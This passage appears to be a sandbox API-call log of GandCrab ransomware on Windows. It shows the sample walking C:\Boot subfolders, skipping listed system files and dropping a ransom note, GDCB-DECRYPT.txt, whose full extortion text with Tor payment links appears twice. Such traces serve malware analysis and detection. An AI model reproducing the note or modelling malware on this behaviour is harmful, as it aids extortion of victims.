param_2="%s" | out: param_1="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0052.548] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0052.548] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.548] FindNextFileW (in: hFindFile=0x588e20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.548] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.548] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.548] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt") returned="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt" [0052.548] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.548] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt") returned 30 [0052.548] lstrlenW (lpString="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt") returned 30 [0052.548] lstrlenW (lpString="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt") returned 30 [0052.548] lstrlenW (lpString="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt") returned 30 [0052.548] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.548] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.548] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.548] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.548] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.548] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.548] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.549] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.549] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.549] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.549] FindNextFileW (in: hFindFile=0x588e20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.549] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.549] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.549] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned="C:\\Boot\\cs-CZ\\memtest.exe.mui" [0052.549] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.549] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0052.549] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0052.549] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.549] FindNextFileW (in: hFindFile=0x588e20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.549] FindClose (in: hFindFile=0x588e20 | out: hFindFile=0x588e20) returned 1 [0052.549] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.549] lstrcmpW (lpString1="da-DK", lpString2=".") returned 1 [0052.549] lstrcmpW (lpString1="da-DK", lpString2="..") returned 1 [0052.549] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="da-DK" | out: lpString1="C:\\Boot\\da-DK") returned="C:\\Boot\\da-DK" [0052.550] lstrcatW (in: lpString1="C:\\Boot\\da-DK", lpString2="\\" | out: lpString1="C:\\Boot\\da-DK\\") returned="C:\\Boot\\da-DK\\" [0052.550] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.550] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.550] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.550] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.550] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.550] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.550] lstrlenW (lpString="C:\\Boot\\da-DK\\") returned 14 [0052.550] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="*" | out: lpString1="C:\\Boot\\da-DK\\*") returned="C:\\Boot\\da-DK\\*" [0052.550] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588a20 [0052.550] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.550] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.550] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.550] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.550] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.550] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.550] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.550] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned="C:\\Boot\\da-DK\\bootmgr.exe.mui" [0052.551] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0052.551] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.551] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.551] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.551] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.551] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\da-DK\\memtest.exe.mui") returned="C:\\Boot\\da-DK\\memtest.exe.mui" [0052.551] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0052.551] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.551] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.551] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.551] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.551] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\da-DK\\\\GDCB-DECRYPT.txt") returned 31 [0052.551] CreateFileW (lpFileName="C:\\Boot\\da-DK\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\da-dk\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.552] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.552] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.552] CloseHandle (hObject=0x4e0) returned 1 [0052.552] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.552] lstrlenW (lpString="C:\\Boot\\da-DK\\") returned 14 [0052.552] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="*" | out: lpString1="C:\\Boot\\da-DK\\*") returned="C:\\Boot\\da-DK\\*" [0052.552] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588a20 [0052.553] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.553] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.553] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.553] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.553] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.553] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.553] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.553] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned="C:\\Boot\\da-DK\\bootmgr.exe.mui" [0052.553] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.553] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0052.553] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0052.553] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.553] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.553] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.553] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.553] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt") returned="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt" [0052.553] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.554] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt") returned 30 [0052.554] lstrlenW (lpString="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt") returned 30 [0052.554] lstrlenW (lpString="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt") returned 30 [0052.554] lstrlenW (lpString="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt") returned 30 [0052.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.554] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.554] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.554] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.554] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.554] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\da-DK\\memtest.exe.mui") returned="C:\\Boot\\da-DK\\memtest.exe.mui" [0052.554] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.555] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0052.555] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0052.555] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.555] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.555] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.555] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.555] lstrcmpW (lpString1="de-DE", lpString2=".") returned 1 [0052.555] lstrcmpW (lpString1="de-DE", lpString2="..") returned 1 [0052.555] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="de-DE" | out: lpString1="C:\\Boot\\de-DE") returned="C:\\Boot\\de-DE" [0052.555] lstrcatW (in: lpString1="C:\\Boot\\de-DE", lpString2="\\" | out: lpString1="C:\\Boot\\de-DE\\") returned="C:\\Boot\\de-DE\\" [0052.555] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.555] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.555] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.555] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.555] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.555] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.556] lstrlenW (lpString="C:\\Boot\\de-DE\\") returned 14 [0052.556] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="*" | out: lpString1="C:\\Boot\\de-DE\\*") returned="C:\\Boot\\de-DE\\*" [0052.556] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588720 [0052.556] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.556] FindNextFileW (in: hFindFile=0x588720, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.556] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.556] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.556] FindNextFileW (in: hFindFile=0x588720, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.556] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.556] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.556] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned="C:\\Boot\\de-DE\\bootmgr.exe.mui" [0052.556] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0052.556] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.556] FindNextFileW (in: hFindFile=0x588720, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.556] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.557] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.557] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\de-DE\\memtest.exe.mui") returned="C:\\Boot\\de-DE\\memtest.exe.mui" [0052.557] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0052.557] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.557] FindNextFileW (in: hFindFile=0x588720, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.557] FindClose (in: hFindFile=0x588720 | out: hFindFile=0x588720) returned 1 [0052.557] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.557] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\de-DE\\\\GDCB-DECRYPT.txt") returned 31 [0052.557] CreateFileW (lpFileName="C:\\Boot\\de-DE\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\de-de\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.557] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.557] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.558] CloseHandle (hObject=0x4e0) returned 1 [0052.558] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.558] lstrlenW (lpString="C:\\Boot\\de-DE\\") returned 14 [0052.558] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="*" | out: lpString1="C:\\Boot\\de-DE\\*") returned="C:\\Boot\\de-DE\\*" [0052.558] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588e60 [0052.558] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.558] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.558] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.558] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.558] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.558] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.558] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.558] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned="C:\\Boot\\de-DE\\bootmgr.exe.mui" [0052.558] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.559] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0052.559] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0052.559] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.559] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.559] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.559] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.559] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt") returned="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt" [0052.559] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.559] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt") returned 30 [0052.560] lstrlenW (lpString="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt") returned 30 [0052.560] lstrlenW (lpString="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt") returned 30 [0052.560] lstrlenW (lpString="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt") returned 30 [0052.560] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.560] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.560] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.560] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.560] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.560] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.560] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.560] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.560] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.560] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.560] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.560] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.560] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.560] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\de-DE\\memtest.exe.mui") returned="C:\\Boot\\de-DE\\memtest.exe.mui" [0052.560] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.561] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0052.561] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0052.561] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.561] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.561] FindClose (in: hFindFile=0x588e60 | out: hFindFile=0x588e60) returned 1 [0052.561] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.561] lstrcmpW (lpString1="el-GR", lpString2=".") returned 1 [0052.561] lstrcmpW (lpString1="el-GR", lpString2="..") returned 1 [0052.561] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="el-GR" | out: lpString1="C:\\Boot\\el-GR") returned="C:\\Boot\\el-GR" [0052.561] lstrcatW (in: lpString1="C:\\Boot\\el-GR", lpString2="\\" | out: lpString1="C:\\Boot\\el-GR\\") returned="C:\\Boot\\el-GR\\" [0052.561] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.561] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.561] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.562] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.562] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.562] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.562] lstrlenW (lpString="C:\\Boot\\el-GR\\") returned 14 [0052.562] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="*" | out: lpString1="C:\\Boot\\el-GR\\*") returned="C:\\Boot\\el-GR\\*" [0052.562] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588a20 [0052.568] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.568] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.568] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.568] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.568] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.568] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.568] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.569] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned="C:\\Boot\\el-GR\\bootmgr.exe.mui" [0052.569] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0052.569] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.569] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.569] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.569] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.569] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", 